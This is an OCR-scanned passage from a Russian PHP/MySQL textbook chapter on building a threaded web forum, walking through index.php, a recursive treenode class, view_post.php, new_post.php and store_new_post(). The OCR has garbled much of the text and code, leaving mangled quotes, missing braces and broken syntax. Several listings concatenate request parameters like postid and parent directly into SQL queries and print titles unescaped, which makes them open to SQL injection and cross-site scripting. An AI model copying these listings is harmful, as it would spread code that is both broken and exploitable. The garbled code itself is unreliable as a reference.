представлению. Читатели наверняка заметили также, что и рядом с одним из ответов присут- ствует символ плюса. Это означает, что на данный ответ существуют свои ответы. Цепочка ответов может иметь произвольную глубину, и каждый набор ответов можно просмотреть, щелкнув на соответствующем символе плюса. Две кнопки панели меню, Развернуть и Свернуть, будут, соответственно, развора- чивать и сворачивать любые возможные цепочки. Результат выполнения щелчка на кнопке Развернуть показан на рис. 31.6. Если внимательно присмотреться к рис. 31.5 и 31.6, можно заметить, что в URL- строке некоторые параметры передаются обратно в файл index.php. Глава 31. Разработка веб-форумов 693
!• \ Че £dt View Hijtory gookmarks Jeds Help * C fSii L-J i ht^:/Ax^ostAibpmysq!/31/index.}rfp?exparid»a!l ВRe: Установка PHP-Богдан-13:21 04,16/2009 Re: Установка PHP - Тамара -13:21 04/16/2009 Re Установка PHP - Татьяна -13:22 04/16/2009 i1*^ Информация - Славик - 21:39 04/15/2009 H Rexi* -Ева Re Информация - Татьяна -13:23 04/16/2009 новая статья - Гаяя -13.25 04/16/2009 с^¥>modules*4 той; j • аммист- Рис. 31.6. Теперь развернуты все цепочки На рис. 31.5 URL-адрес выглядит следующим образом: http://Iocalhost/phpmysql4e/chapter31/index.php?expand=2#2 Сценарий интерпретирует приведенную строку как “развернуть элемент с иден- тификатором postid, равным 10”. Символ # — всего лишь HTML-символ привязки, который вызовет прокрутку страницы к только что развернутой части. На рис. 31.6 URL-адрес имеет такой вид: http://localhost/phpmysql4e/chapter31/index.php?expand=all Щелчок на кнопке Развернуть привел к передаче параметра expand со значением all. Разворачивание и сворачивание Теперь давайте посмотрим, как реализована обработка упомянутых выше дейст- вий, исследовав код сценария index.php, который показан в листинге 31.2. Листинг 31.2. index.php — сценарий создания представления статей на главной странице приложения <?php include (’include_fns.php’); session_start(); // Проверить, создана ли переменная сеанса if (!isset ($_SESSION[’expanded’])) { $_SESSION[’expanded’] = array(); } 694 Часть V. Реальные проекты на РНР и MySQL
// Проверить, была ли нажата кнопка ’Развернуть*. // Значением параметра expand может быть ’all’, // идентификатор postid или же значение может быть не установлено if(isset($_GET[’expand*])) { if ($_GET[’expand’] == ’all’) { expand_all($_SESSION[’expanded’]); } else { $_SESSION[’expanded’][$_GET[’expand’]] = true; } } // Проверить, была ли нажата кнопка ’Свернуть’. // Значением параметра collapse может быть ’all’, // идентификатор postid или же значение может быть не установлено if(isset($_GET[’collapse’])) { if($_GET[’collapse’]==’all’) { $_SESSION[’expanded’] = array(); } else { unset($_SESSION[’expanded’][$_GET[’collapse’]]); } } do_html_header(’Статьи в дискуссиях’); display_index_toolbar(); / / Вывести древовидное представление бесед display_tree($_SESSION[’expanded’]); do_html_footer(); ?> Для выполнения своей задачи этот сценарий использует три переменные. Переменная сеанса expanded, отслеживающая развернутые цепочки. Эта пере- менная может обновляться от представления к представлению, поэтому можно иметь несколько развернутых цепочек. Переменная expanded представляет со- бой ассоциативный массив, содержащий идентификаторы postid статей, отве- ты на которые будут отображаться в развернутом виде. Параметр expand, указывающий сценарию, какие новые цепочки следует раз- вернуть. Параметр collapse, указывающий сценарию, какие цепочки следует свернуть. В результате щелчка на символе плюса или минуса или на кнопке Развернуть или Свернуть осуществляется повторный вызов сценария index. php с новыми значения- ми параметров expand или collapse. Переменная expanded используется от стра- ницы к странице для отслеживания того, какие цепочки должны быть развернуты в каждом конкретном представлении. Сценарий начинается с создания сеанса и добавления переменной expanded как переменной сеанса, если это еще не было сделано. Далее сценарий проверяет, был ли ему передан параметр expand или collapse, и соответствующим образом изменяет массив expanded. Вот как выглядит код, опреде- ляющий значение параметра expand: Глава 31. Разработка веб-форумов 695
if(isset($_GET[’expand']) ) { if ($_GET['expand'] -= 'all') { expand_all($_SESSION['expanded']); } else { $_SESSION['expanded'][$_GET['expand']] = true ; } } В результате щелчка на кнопке Развернуть вызывается функция expand all (), которая добавляет все цепочки, имеющие ответы, в массив expanded. (Это действие рассматривается чуть ниже.) Чтобы развернуть конкретную цепочку, ее идентификатор post id передается через параметр expand. Для отражения этого мы добавляем новую запись в массив expanded. Код функции expand all () представлен в листинге 31.3. Листинг 31.3. Функция expand_all () из библиотеки discussion_fns .php — эта функция обрабатывает массив expanded для разворачивания всех цепочек в форуме function expand_all(&$expanded) { //Помечает все цепочки с дочерними цепочками как отображаемые в развернутом виде $conn = db_connect(); $query = ’’select postid from header where children = 1”; $result = $conn->query($query); $num = $result->num_rows; for($i = 0; $i<$num; $i++) { $this_row = $result->fetch_row(); $expanded[$this_row[0]]=true; } } Эта функция выполняет запрос к базе данных для выяснения того, какие цепочки в форуме содержат ответы: select postid from header where children = 1 После этого каждая из возращенных статей добавляется в массив expanded. Мы выполняем этот запрос для того, чтобы сэкономить время в дальнейшем. Статьи мож- но было бы просто добавить в список развернутых цепочек, однако впоследствии мы могли бы столкнуться с напрасной тратой времени, когда пытались бы обработать несуществующие ответы. Сворачивание статей работает аналогично, но противоположным образом: if(isset($_GET[’collapse'])) { if ($_GET [ ’ collapse ’ ] == * * ill ’) { $_SESSION [*’ expanded ’ ] = array () ; • } else { unset($_SESSION[’expanded'][$_GET[’collapse’]]); } } Элементы из массива expanded можно удалять, отменяя их установку. Мы удаляем сворачиваемую цепочку или же отменяем установку целого массива, если сворачива- ется вся страница. 696 Часть V. Реальные проекты на РНР и MySQL
Все описанные действия относятся к этапу предварительной обработки, поэтому известно, какие статьи должны быть отображены, а какие — нет. Основной частью сце- нария является вызов функции display tree ($_SESSION[ ’expanded’ ]) ;, которая в действительности генерирует дерево отображенных статей. Отображение статей Давайте рассмотрим код функции display tree (), который представлен в лис- тинге 31.4. Листинг 31.4. Функция display_tree () из библиотеки output_fns. php — эта функция создает корневой узел древовидной структуры function display_tree($expanded, $row = 0, $start 0) { // Выводит древовидное представление бесед global $table_width; echo "<table width=\”".$table_width. // Проверить, отображается полный список или подсписок if($start>0) { $sublist = true; } else { $sublist = false; } / / Создать древовидную структуру, представляющую беседу целиком $tree = new treenode ($start, '1, true, -1, $expanded, $sublist) ; // Указать дереву на необходимость отобразить себя $tree->display($row, $sublist); echo "</table>"; } Основная роль функции display tree () заключается в создании корневого узла древовидной структуры. Функция используется и для отображения всего дерева на странице index. php, и для создания поддеревьев ответов на странице view post. php. Как видите, функция принимает три параметра. Первый из них, $ expanded, — это список идентификаторов postid статей, которые необходимо отображать в развер- нутом виде. Второй, $row, представляет собой индикатор номера строки, который будет использоваться для чередования цветов строк в списке. ' Третий параметр, $ start, сообщает функции, с какой статьи следует начинать отображение. Это идентификатор postid корневого узла дерева, которое должно быть создано и отображено. Если нужно вывести весь список, как имеет место на главной странице, значением этого параметра будет 0, т.е. приложение будет отобра- жать все статьи, не имеющие родительских статей. В этом случае значение перемен- ной $ sublist устанавливается равным false и приложение выводит все дерево. Если значение параметра больше 0, данный узел считается корневым узлом дере- ва, которое требуется отобразить, значение $sublist устанавливается равным true, и приложение создает и отображает только часть дерева. (Собственно, это и будет использоваться в сценарии view post .php.) Глава 31. Разработка веб-форумов 697
Наиболее важной задачей, которую выполняет данная функция, является созда- ние экземпляра класса treenode, представляющего корень дерева. В действительно- сти он не является статьей, но действует в качестве родительской статьи для статей первого уровня, которые фактически не имеют родительской статьи. После того как дерево создано, для действительного отображения списка статей мы просто вызыва- ем его функцию отображения. Использование класса treenode Код класса treenode представлен в листинге 31.5. (На этом этапе полезно еще раз обратиться к главе 6, дабы освежить в памяти, как работают классы.) Листинг 31.5. Класс treenode из файла treenode class .php — основная часть приложения <?php //В этом файле определены функции для загрузки, создания и отображения дерева class treenode { // Каждый узел дерева имеет атрибуты, которые содержат все данные, // необходимые для отправки всего, кроме тела сообщения public $m_postid; public $m_title; public $m_poster; public $m_posted; public $m_children; public $m_childlist; public $m_depth; public function___construct($postid, $title, $poster, $posted, $children, $expand, $depth, $expanded, $sublist) { // Конструктор устанавливает значения атрибутов, но, что еще // важнее, он рекурсивно создает нижние части дерева $this->m_postid = $postid; $this->m_.title = $title; $this->m_poster = $poster; $this->m_posted = $posted; $this->m_children =$children; $this->m_childlist = array(); $this->m_depth = $depth; // Списки, расположенные ниже этого узла, представляют интерес, только // если узел имеет дочерние списки, которые должны быть всегда развернуты if(($sublist || $expand) && $children) { $conn = db_connect(); $query = "select * from header where parent = '".$postid."’ order by posted"; $result = $conn->query($query); for ($count=0; $row = @$result->fetch_assoc(); $count++) { if($sublist || $expanded[$row[’postid’]] == true) { $expand = true; } else { $expand = false; } 698 Часть V. Реальные проекты на РНР и MySQL
$this->m_childlist[$count]= new treenode($row[’postid’], $row['title*], $row['poster*], $row[’posted’], $row['children’], $expand, $depth+l, $expanded, $sublist); } function display($row, $sublist = false) { // Поскольку это объект, он сам отвечает за свое отображение. // $row указывает, с какой строкой при отображении мы имеем дело. // Таким образом, нам известно, каким цветом эта строка должна выводиться // $sublist указывает, на какой странице мы находимся - // на главной или на странице сообщения. Для страниц сообщений // переменная $sublist равна true. / / В подсписках все сообщения развернуты и не содержат // символов ’’ + ’’ и // Если данный узел - пустой корневой узел, пропустить его вывод if($this->m_depth>-l) { / / Чередовать цвет вывода строк echo "ctrxtd bgcolor=\'”’; if ($row%2) { echo **#cccccc\**>**; } else { echo ”#ffffff\”>”; } // Вывести отступ в соответствие с глубиной вложения for($i = 0; $i<$this->m_depth; $i++) { echo "<img src=\"images/spacer.gif\" height=\"22\" width=\”22\" alt=\”\” valign=\”bottom\" />”; } // Вывести символ ' + * или *-’ или 'пробел* if ((!$sublist) && ($this->m_children) && (sizeof($this->m_childlist))) { // Мы находимся на главной странице, имеем несколько дочерних узлов, //и они развернуты / / Развернутое состояние - необходима кнопка сворачивания echo "<а href=\"index.php?collapse=". $this->m_postid. "#". $this->m_postid. **\**><img src=\’’images/minus .gif X" valign=\**bottom\" height=\”22\” width=\’*22\” alt=\"Свернуть цепочкуХ" border=\”0\" /></а>\п”; } else if(!$sublist && $this->m_children) { // Свернутое состояние - необходима кнопка разворачивания echo **<а href=\"index.php?expand= **. $this->m_postid. . $this->m_postid. "\"><img src=\**images/plus . gifX" valign=\"bottom\" height=\’’22\*' width=\”22\” alt=\"Развернуть цепочкуХ" border=\"0\" /></a>\n"; } else { Глава 31. Разработка веб-форумов 699
/ / Дочерних элементов нет или же мы находимся в подсписке - //не нужно никаких кнопок echo "<img src=\"images/spacer.gif\" height=\"22\" width=\"22\" alt=\"\" valign=\"bottom\"/>\n"; } echo ”<a name-\"".$this->m_postid."\"><a href= \"view_post.php?postid=".$this->m_postid.. $this->m_title." - ".$this->m_poster." - ". reformat_date ($this->m_posted) . "</ax/tdx/tr>"; // Увеличить значение счетчика строк для чередования цветов вывода $row++; } // Вызвать метод display для каждого дочернего элемента этого узла. // Обратите внимание, что узел будет иметь дочерние узлы в своем списке, // только если он развернут $num_children = sizeof($this->m_childlist); for($i = 0; $i<$num_children; $i++) { $row = $this->m_childlist[$i]->display($row, $sublist); } return $row; } }; ?> Этот класс инкапсулирует функциональность, которая управляет древовидным представлением в рамках всего приложения. Один экземпляр класса treenode содержит подробную информацию о единствен- ной статье и связи со всеми ответными статьями этого класса. Это обусловливает использование следующих атрибутов класса: public $m_postid; public $m_title; public $mjposter; public $m_posted; public $m_children; public $m__childlist; public $m_depth; Обратите внимание, что treenode не содержит тела статьи. Нет никакой необхо- димости загружать тело статьи до тех пор, пока пользователь не обратится к сцена- рию view post .php. Нужно постараться выполнить вывод древовидного представ- ления сравнительно быстро, поскольку для отображения списка в форме дерева требуется осуществлять множество манипуляций с данными, а при обновлении стра- ницы или нажатии на какую-нибудь кнопку — заново выполнять все вычисления. Имена этих переменных выбирались в соответствие со схемой именования, обычно используемой в объектно-ориентированных приложениях — их имена начи- наются с последовательности т_, которая служит напоминанием о том, что они явля- ются атрибутами класса. Большинство этих переменных непосредственно соответствуют строкам из табли- цы header нашей базы данных. 700 Часть V. Реальные проекты на РНР и MySQL
Исключение составляют лишь переменные $m_childlist и $m_depth. Переменная $m_childlist будет использоваться для хранения ответов на данную статью. Переменная $m_depth будет хранить количество уровней дерева от корня до текуще- го уровня — она будет применяться для отображения. Функция конструктора устанав- ливает значения всех переменных. Вот как выглядит соответствующий код: public function__construct($postid, $title, $poster, $posted, $children, $expand, $depth, $expanded, $sublist) { // Конструктор устанавливает значения атрибутов, но, что еще // важнее, он рекурсивно создает нижние части дерева $this->m_postid = $postid; $this->m_title = $title; $this->m_poster = $poster; $this->m_posted = $posted; $this->mchildren =$children; $this->m_childlist = array(); $this->m_depth = $depth; При создании экземпляра treenode, который представляет корневой узел, в display tree () на главной странице фактически мы создаем фиктивный (dummy) узел, не имеющий никаких связанных с ним статей. В этом случае мы передаем опре- деленные начальные значения: $tree = new treenode ($start, ’’, ’’, ’’, 1, true, -1, $expanded, $sublist) ; В результате создается корневой узел, значение идентификатора postid которого равно 0. Этой особенностью можно воспользоваться для поиска всех статей первого уровня, поскольку они имеют нулевую родительскую статью. Глубина устанавливается равной -1, поскольку в действительности этот узел не является частью отображения. Все статьи первого уровня будут иметь нулевую глубину и будут отображаться у лево- го края экрана. Последующие уровни отображаются с отступом вправо. Наиболее важный момент, который присутствует в конструкторе — это создание экземпляров дочерних узлов для данного узла. Этот процесс начинается с проверки необходимости разворачивания дочерних узлов. Данное действие выполняется только в том случае, если узел имеет какие-либо дочерние узлы, и мы должны их отобразить: if ( ($sublist| |$expand) && $children) { $conn = db_connect(); Затем мы подключаемся к базе данных и получаем все дочерние статьи следую- щим образом: $query = "select * from header where parent = ”’. $postid.’’’ order by posted"; $result = $conn->query($query); Далее массив $m_childlist заполняется экземплярами класса treenode, которые содержат ответы на статью, сохраненную в treenode: for ($count=0; $row = @$result->fetch_assoc(); $count++) { if($sublist || $expanded[$row[’postid’]] == true) { $expand = true; } else { $expand = false; } $this->m_childlist[$count]= new treenode($row[’postid’],$row[’title’], $row[’poster’],$row[’posted’], $row[’children’], $expand, $depth+l, $expanded, $sublist); } Глава 31. Разработка веб-форумов 701
Последняя строка обеспечивает создание новых экземпляров treenode в соответ- ствии с только что рассмотренным процессом, но уже для следующего уровня дере- ва. Это относится к рекурсивной части функции. Родительский узел дерева вызывает конструктор класса treenode, передавая собственный идентификатор postid в ка- честве родительского узла и добавляя 1 к собственному значению глубины перед его передачей. Каждый экземпляр treenode будет по очереди создаваться, а также создавать соб- ственные дочерние объекты до тех пор, пока не исчерпается список ответных статей или не будут развернуты все требуемые уровни. После того как все это выполнено, мы вызываем функцию отображения корнево- го экземпляра treenode (внутри функции display tree ()): $tree->display($row, $sublist); Функция display () начинается с проверки того, является ли данный узел фик- тивным корневым узлом: if($this->m_depth > -1) Таким образом, фиктивный узел может быть исключен из отображения. Однако нам не требуется полностью пропускать корневой узел. Он должен отображаться, но при этом должен уведомлять свои дочерние узлы о том, что они должны отобразить себя самостоятельно. Затем функция начинает формировать таблицу, содержащую статьи. При этом ис- пользуется операция деления по модулю (%), с помощью которой определяется тре- буемый цвет фона данной строки (поскольку цвета фона чередуются): // Чередовать цвет вывода строк echo "<tr><td bgcolor=\,,n; if ($row%2) { echo "#cccccc\">"; } else { echo *’#ffffff '} Далее с использованием атрибута $m_depth выясняется величина отступа, кото- рая необходима для текущего элемента. Как легко убедиться, взглянув на приведен- ные рисунки, чем глубже уровень ответного сообщения, тем с большим отступом оно выводится. Упомянутые действия реализуются следующим образом: // ВывесФй отступ в соответствие с глубиной вложения for($i = 0; $i < $this->m_depth; $i++) { echo ”<img src=\’’images/spacer.gif\" height=\”22\" width=\,,22\" alt=\"\” valign=\,,bottom\" />”; } Следующая часть этой функции служит для определения того, нужно ли отобра- жать кнопку плюса, минуса или вообще ничего: // Вывести символ ’ + ’ или или 'пробел* if ((!$sublist) && ($this->m_children) && (sizeof($this->m_childlist))) { //Мы находимся на главной странице, имеем несколько дочерних узлов, //и они развернуты // Развернутое состояние - необходима кнопка сворачивания echo’ "<а href=\’’index.php?collapse=,,. '' $this->m_postid. ”#" . $this->m_postid. "V’Ximg 702 Часть V. Реальные проекты на РНР и MySQL
src=\"images/minus.gifX" valign=\"bottom\" height=\"22\’’ width=\"22\" alt=\"Свернуть цепочкуХ" border=\"0\" /></a>\n"; } else if(!$sublist && $this->m_children) { // Свернутое состояние - необходима кнопка разворачивания echo "<а href=\"index.php?expand=". $this->m_postid."#".$this->m_postid.”\"ximg src=\"images/plus.gifX" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Развернуть цепочкуХ" border=\"0\" /></a>\n"; } else { // Дочерних элементов нет или же мы находимся в подсписке - //не нужно никаких кнопок echo "<img src=\"images/spacer.gif\" height=\"22\" width=\,,22\" alt=\”\" valign=\"bottom\"/>\n"; } После этого отображаются фактические сведения об этом узле: echo "<а name=\"".$this->m_postid."\"><а href= \"view_post.php?postid=".$this->m_postid.. $this->m_title. " - " . $this->m_p.oster. " - ". reformat_date ($this->m_posted) . "</ax/td></tr>"; Цвет следующей строки должен быть изменен: // Увеличить значение счетчика строк для чередования цветов вывода $row++; Затем идет фрагмент кода, который будет выполняться всеми экземплярами treenode, в том числе корневым: // Вызвать метод display для каждого дочернего элемента этого узла. // Обратите внимание, что узел будет иметь дочерние узлы в своем списке, / / только если он развернут $num_children = sizeof($this->m_childlist); for($i = 0; $i<$num_children; $i++) { $row = $this->m_childlist[$i]->display($row, $sublist); } return $row; Это снова вызов рекурсивной функции, который выполняется для каждого дочер- него узла данного узла, чтобы они смогли отобразить себя. Им передается текущий цвет строки, а они передают его обратно по завершении работы с ним, что позволя- ет легко отслеживать чередование цветов. На этом знакомство с классом treenode завершено. Вы смогли убедиться, что его код достаточно сложен. Возможно, имеет смысл сначала поэкспериментировать с приложением, а затем, разобравшись с его работой, попытаться другим взглядом по- смотреть на этот код. Просмотр отдельных статей Вызов функции display tree () приводит к созданию ссылок на набор статей. Если щелкнуть на одной из таких ссылок, мы войдем в сценарий view post .php со значением параметра postid, которое будет соответствовать просматриваемой ста- тье. Пример вывода, сгенерированного этим сценарием, показан на рис. 31.7. Глава 31. Разработка веб-форумов 703
'-= в Не Edit View History gookmarks Teds Help j j jhH^/Ajofrjos^swni®^/31A«ewjx>stphp?posfid»2 Как передавать информацию co страницы на страницу? Славик Ответы на эго сообщение Re: Информация - Ева -13 23 04/16/2009 Re: Информация - Татьяна -13:23 04/16/2009 Рис- 31.7, Сейчас можно видеть тело данной статьи Сценарий view post .php отображает тело сообщения, а также ответы на данное сообщение. Как видите, ответы снова отображаются в форме дерева, но на этот раз полностью развернутого без каких-либо кнопок плюсов или минусов. Это — результат действия переключателя $ sublist. Давайте рассмотрим код сценария view post .php, который представлен в листин- ге 31.6. Листинг 31 -6- view post. php — этот сценарий отображает тело отдельного сообщения <?php // Включить библиотеки функций include (’include_fns.php'); $postid = $_GET['postid’]; // Получить детальную информацию о статье $post = get_post($postid); do_html_header($post['title' ] ) ; // Отобразить статью display_post($post); // Если co статьей связаны ответы, вывести их древовидное представление if($post['children']) { echo "<br /><br />"; display_replies_line (); display_tree($_SESSION['expanded'], 0, -$postid) ; } do_html_footer(); ?> 704 Часть V. Реальные проекты на РНР и MySQL
Для выполнения стоящей перед этим сценарием задачи используются три основ- ных функции: get_post (), display_post () и display_tree (). Функция get post () извлекает информацию из базы Данных. Код этой функции можно найти в листинге 31.7. Листинг 31.7, Функция‘деЪ_розЪ() из библиотеки discussion_fns .php — эта функция извлекает сообщение из базы данных function get_post($postid) { / / Извлекает из базы данных одну статью и возвращает ее в виде массива if(!$postid) { return false; } $conn = db_connect(); // Получить всю информацию о заголовках из 'header' $query = "select * from header where postid = '".$postid."; $result = $conn->query($query); if ($result->num_rows!=1) { return false; } $post = $result->fetch_assoc(); // Получить сообщение из тела и добавить его к предыдущему результату $query = "select * from body where postid = '".$postid."; $result2 = $conn->query($query) ; if($result2->num_rows > 0) { $body = $result2->fetch_assoc() ; if($body) { $post['message'] = $body['message'] ; } } return $post; } Для данного идентификатора postid эта функция выполняет два запроса, необхо- димые для получения заголовка и тела сообщения для определенной статьи, и поме- щает их в возвращаемый ею массив. Затем результат выполнения этой функции передается в функцию display_post () из библиотеки output fns .php. Эта функция всего лишь выводит массив, выполняя незначительный объем форматирования HTML-текста, поэтому подробно мы на ней останавливаться не будем. И, наконец, сценарий view post. php проверяет, имеются ли какие-то ответы на дан- ную статью, и вызывает функцию display_tree () для отображения их в формате под- списка — т.е. полностью развернутыми, без каких-либо кнопок плюсов или минусов. Добавление новых статей Теперь посмотрим, как новая статья добавляется в форум. Пользователь может сделать это двумя способами: во-первых, щелкнув на кнопке Новая на странице index.php, и, во-вторых, щелкнув на кнопке Ответить на странице view post .php. Глава 31. Разработка веб-форумов 705
Оба эти действия активизируют один и тот же сценарий new post .php, но пере- дают ему разные параметры. На рис. 31.8 показан вывод, сгенерированный сценари- ем new post .php после щелчка на кнопке Ответить. Рис. 31.8. Ответы содержат автоматически вставленный и помеченный текст оригинальной статьи Первым делом, взгляните на URL-адрес: http://Iocalhost/phpmysql4e/chapter31/new_post.php?parent=5 Параметр, переданный как parent, будет идентификатором postid родитель- ского сообщения нового сообщения. Если вместо кнопки Ответить щелкнуть на кнопке Новая, в URL-адресе будет присутствовать parent=0. Во-вторых, как видите, в случае создания ответа текст исходного сообщения вставляется и помечается символом >, как принято в большинстве программ чтения электронной почты и новостей. В-третьих, заголовок этого сообщения по умолчанию повторяет заголовок исход- ного сообщения, но с префиксом Re:. А теперь рассмотрим код, который генерирует этот вывод — он показан в листин- ге 31.8. Листинг 31.8. new^post.php — этот сценарий дает пользователю возможность ввести новую статью или ответить на существующую статью <?php include ('include_fns.php'); $title = $_POST['title' ]; $poster = $_POST['poster']; $message = $_POST['message']; 706 Часть V. Реальные проекты на РНР и MySQL
if(isset($_GET['parent'])) { $parent = $_GET['parent']; } else { $parent = $_POST['parent']; if(!$area) { $area = 1; if(!$error) { if(!$parent) { $parent = 0; if(’$title) { $title = 'Новая статья'; } } else { // Получить название статьи $title = get_post_title($parent); // Добавить Re: if(strstr($title, 'Re: ') == false) { $title = 'Re: '.$title; } / / Проверить, помещается ли заголовок в базу данных $title = substr($title, 0, 20); // Добавить статью, на которую дается ответ, в форме цитируемого сообщения $message = add_quoting(get_post_message($parent)); } } do_html_header($title); display_new_post_form($parent, $area, $title, $message, $poster); if($error) { echo "<р>Ваше сообщение не сохранено. Проверьте, заполнены ли все поля, и повторите попытку.</р>"; } do_html_footer(); После выполнения ряда начальных настроек этот сценарий проверяет, является ли поле родительской статьи (parent) нулевым или же каким-то другим. Если значе- ние его нулевое, значит, это новая тема, поэтому требуется предпринять некоторые дополнительные действия. Если это ответ ($parent представляет собой идентификатор postid существую- щей статьи), сценарий устанавливает заголовок и текст исходного сообщения: // Получить название статьи $title = get_post_title($parent); // Добавить Re: if (strstr($title, 'Re: ') == false) { $title = 'Re: '.$title; } Глава 31. Разработка веб-форумов 707
// Проверить, помещается ли заголовок в базу данных $title = substr($title, 0, 20); // Добавить статью, на которую дается ответ, в форме цитируемого сообщения $message = add_quoting(get_post_message($parent)); В этом фрагменте кода используются функции get_post_title (), get_postjnessage () и add_quoting() из библиотеки discussion_fns .php. Их код можно найти в лис- тингах 31.9, 31.10 и 31.11, соответственно. Листинг 31.9- Функция get_post_title () из библиотеки discussion_fns.php — эта функция извлекает из базы данных заголовок сообщения function get_post_title($postid) { // Извлекает из базы данных название одной статьи if(!$postid) { return '’; } $conn = db_connect(); // Получить всю информацию о заголовке из ’header’ $query = ’’select title from header where postid = . $postid.’’’ "; $result = $conn->query($query); if ($result->num_rows ! = 1) { return ' ’ ; } $this_row = $result~>fetch_array(); return $this_row[0]; Листинг 31 -10- Функция get_post_message () из библиотеки discussion_fns .php — эта функция извлекает из базы данных тело сообщения function get_post_message($postid) { // Извлекает из базы данных тело одной статьи if(’$postid) { return '’ ; } $conn = db_connect(); $query = "select message from body where postid = .$postid." $result = $conn->query($query); if($result->num_rows > 0) { $this_row = $result->fetch_array(); return $this_row[0]; } Первые две функции получают, соответственно, заголовок и тело статьи из базы данных. 708 Часть V. Реальные проекты на РНР и MySQL
Листинг 31.11. Функция add_quoting() из библиотеки discussion_fns.php — эта функция отображает текст сообщения с отступами и символами > function add_quoting($string, $pattern = ’> ') { // Помечает текст как цитируемый с использованием шаблона ’> ’ return $pattern.strjreplace ("\n", "\n$pattern", $string); Функция add quoting () изменяет форматирование строки, начиная каждую стро- ку исходного текста определенным символом, которым по умолчанию является >. После того как пользователь вводит свой ответ и щелкает на кнопке Отправить, активизируется сценарий store new post .php. Пример вывода, сгенерированного этим сценарием, показан на рис. 31.9. В этом примере новая статья располагается в строке с меткой Re: using gd? — Youryart — 14:27 06/27/2005. В остальном же эта страница выглядит подобно обыч- ной странице index.php. Рассмотрим код сценария store new post .php более подробно. Его можно найти в листинге 31.12. ^Статьи в дискуссиях - Mozilla Firefox : Ffe gdt View History gookmarks Tools tHp i j ЬНр://1осайто5Т/рЬрту5о1/31Апдех.рЬр?ехрапд-17#17 Статьи в дискуссиях Новая | Развернуть Свернуть ЕЙ Установка РНР - Саша - 21:34 04/15/2009 Ке:использовг.ние GD - Бог»;тн * 14:38 новая статья - Галя -13:25 04/16/2009 vsrodule? - крутой использование GD - новичок -13:26 04/16/2009 Ля Ля Ля Done Рис. 31.9. Теперь в древовидном представлении можно видеть новую статью Листинг 31.12. store new post .php - этот сценарий помещает в базу данных новую статью <?php include ('include_fns.php'); if($id = store_new_post($_POST)) { include ('index.php'); } else { $error = true; include ('new_post.php'); Глава 31. Разработка веб-форумов 709
Как видите, этот сценарий очень короткий. Его основная задача состоит в вызове функции store new post (). Эта страница не имеет собственного видимого со- держимого. Если сохранение выполнилось успешно, мы будем наблюдать страни- цу index.php. В противном случае снова отображается страница new post .php, что- бы пользователь смог повторить попытку, которая ранее завершилась неудачей. Код функции store new post () показан в листинге 31.13. Листинг 31.13. Функция store_new_post () из библиотеки discussion_fns .php — эта функция проверяет и сохраняет новую статью в базе данных function store_new_post($post) { // Проверяет допустимость и затем сохраняет новую статью в базе данных $conn = db_connect(); // Проверить, что ни одно поле не оставлено пустым if(!filled_out($post)) { return false; } $post = clean_all($post); // Проверить, существует ли родительская статья if ($post['parent']!=0) { $query = "select postid from header where postid = '".$post['parent'] $result = $conn->query($query); if ($result->num_rows != 1) { return false; } } // Проверить, не появится ли дубликат $query = "select header.postid from header, body where header.postid = body.postid and header.parent = ".$post['parent']." and ' header.poster = '".$post['poster']."' and header.title = '".$post['title']."' and header.area = " .$post['area']." and body.message = '". $post ['message; $result = $conn->query($query); if (!$result) { return false; } if($result->num_rows > 0) { $this_row = $result->fetch_array(); $id = $this_row[0]; } $query = "insert into header values ('".$post['parent']."', '".$post['poster']."', '".$post['title']."', Or '".$post['area']."', now(), NULL )”; 710 Часть V. Реальные проекты на РНР и MySQL
.яяр,-1 $result = $conn->query($query); if (!$result) { return false; } // Обратите внимание, что теперь родительская статья имеет дочернюю статью $query = "update header set children = 1 where postid = '".$post['parent']. $result = $conn->query($query); if (!$result) { return false; } // Выяснить идентификатор данной статьи. Обратите внимание, что вполне // может существовать несколько почти идентичных статей, которые // различаются только идентификаторами и, возможно, временем отправки. $query = "select header.postid from header left join body on header.postid = body.postid where parent = '".$post['parent’]."' and poster = '".$post['poster']."' and title = '".$post['title']."' and body.postid is NULL"; $result = $conn->query($query); if (!$result) { return false; } if($result->num_rows > 0) { $this_row = $result->fetch_array(); $id = $this_row[0]; } if($id) { $query = "insert into body values ($id, ' " . $post [ 'message $result = $conn->query($query); if (!$result) { return false; } return $id; } Код этой функции нельзя назвать коротким, однако он не особенно сложный. Столь большой объем кода обусловлен лишь тем, что вставка статьи означает вставку записей в таблицы заголовков (header) и тела сообщений (body), а также обновле- ние строки родительской статьи (parent) в таблице header для отражения того, что теперь родительская статья имеет дочернюю статью. Что ж, на этом мы можем благополучно завершить рассмотрение кода приложе- ния поддержки веб-форумов. Глава 31. Разработка веб-форумов 711
Расширение проекта Подобно ранее рассмотренным учебным проектам, в этот проект можно добавить множество расширений. В дополнение к кнопкам представления можно добавить навигационные кноп- ки, чтобы от одного сообщения можно было переходить к следующему сообще- нию, предыдущему сообщению, к следующему сообщению в цепочке или преды- дущему сообщению в цепочке. Можно добавить интерфейс администрирования для создания новых форумов и удаления устаревших статей. Можно реализовать аутентификацию пользователей, чтобы отправку статей могли совершать только зарегистрированные пользователи. Можно добавить какой-нибудь механизм цензуры, который бы позволил изба- виться от нежелательной (и оскорбительной) лексики. Идеи по расширению приложения можно почерпнуть из великого множества су- ществующих систем. Использование существующих систем Одной заслуживающей внимания системой является Phorum — проект по организа- ции веб-форумов с открытым исходным кодом. Его средства навигации по страницам и семантика отличаются от описанных в данной главе, а его структуру сравнитель- но легко приспособить под конкретный сайт. Примечательным свойством системы Phorum является то, что реальный пользователь может настроить ее на отображение статей в виде цепочек или в простом планарном виде. Дополнительную информацию об этой системе можно получить на сайте по адресу http: //www.phorum.org/. Что дальше В следующей главе мы рассмотрим использование PDF-формата для создания при- влекательных, единообразно печатаемых и частично защищенных документов. Такая функциональность очень полезна для широкого спектра приложений, основанных на службах, таких как приложения с возможностью онлайновой генерации контрактов. 712 Часть V. Реальные проекты на РНР и MySQL
